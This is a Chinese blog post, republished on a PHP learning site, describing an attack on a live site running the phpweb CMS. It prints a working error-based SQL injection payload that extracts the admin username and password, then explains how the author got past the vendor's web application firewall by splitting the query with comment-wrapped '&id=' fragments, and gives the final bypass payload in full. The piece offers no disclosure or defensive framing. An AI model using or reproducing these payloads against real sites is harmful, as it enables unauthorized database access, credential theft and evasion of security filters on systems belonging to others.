网站地图    收藏   

主页 > 后端 > 网站安全 >

绕过智创防火墙,SQL注入phpweb - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 今天基友xiaoliumang发来一个phpweb的站,然后就一起看了下。phpweb有注入漏洞的,之前说过。先加些语句看了下,可见有注入,而且可以报错。虽然sql语句中我们提交的单引号变成了%27,但...

今天基友xiaoliumang发来一个phpweb的站,然后就一起看了下。phpweb有注入漏洞的,之前说过。先加些语句看了下,可见有注入,而且可以报错。虽然sql语句中我们提交的单引号变成了%27,但不要紧这是浏览器的事,待会用代理直接提交就行了。

 


然后直接上利用语句

?116'/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e,0x27,pwn_base_admin.user,0x27,0x7e,pwn_base_admin.password,0x27,0x7e)/**/from/**/pwn_base_admin/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/'1'='1.html

结果出现了智创的waf。 www.2cto.com

 

 

本来想直接放弃了的,最后还是霸王硬上弓了。思路是:

1、看看该waf拦截什么语句,先依次提交select,union,from等关键字,然后再将这些sql关键字组合,最后发现只要有select from就会拦截,至于其他的匹配关键字和关键字组合没有测试。

2、绕过首先想到的是转换大小写,结果没用,一般waf都会转换大小写的;其次是编码,但是在这里phpweb直接是将语句拼接到sql查询语句里了,所以如果编码的话即使可以绕过waf,也不会构造出有效的sql查询语句。

3、试了试协议方面的,在GET后面多加几个空格,多加几个问号,只要不是bad request的就试,结果这种GET数据包可以变的地方比较少,也没找到绕过方法。

4、直接说绕过思路吧,其实是利用了phpweb和waf的理解不一致。phpweb是将问号后面,.html前面的语句直接拼接到sql查询语句中,不管编码没编码、有没有“=”,“&”(这两个符号是http协议里用来给参数赋值和分割参数的);而waf会将问号后面的根据http协议来进行解析。这样的话,我们就可以用/*&id=*/来分割构造的sql语句来绕过waf了。最后构造语句如下:

/product/class/?id/*=*/abc'/**/and/**/(select/**/1/*&id=*/from(/*&id=*/select/**//*&id=*/count(*),/*&id=*/concat((/*&id=*/select/**/(/*&id=*/select/**/(/*&id=*/select/**//*&id=*/concat(0x7e,0x27,pwn_base_admin.user,0x27,0x7e,pwn_base_admin.password,0x27,0x7e)/**//*&id=*/from/**/pwn_base_admin/**/limit/**/0,1))/**//*&id=*/from/**/information_schema.tables/**//*&id=*/limit/**/0,1),/*&id=*/floor(rand(0)*2))x/**//*&id=*/from/**//*&id=*/information_schema.tables/**//*&id=*/group/**//*&id=*/by/**/x)a)/**//*&id=*/and/**//*&id=*/'1'='1.html 

如图:

 


 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论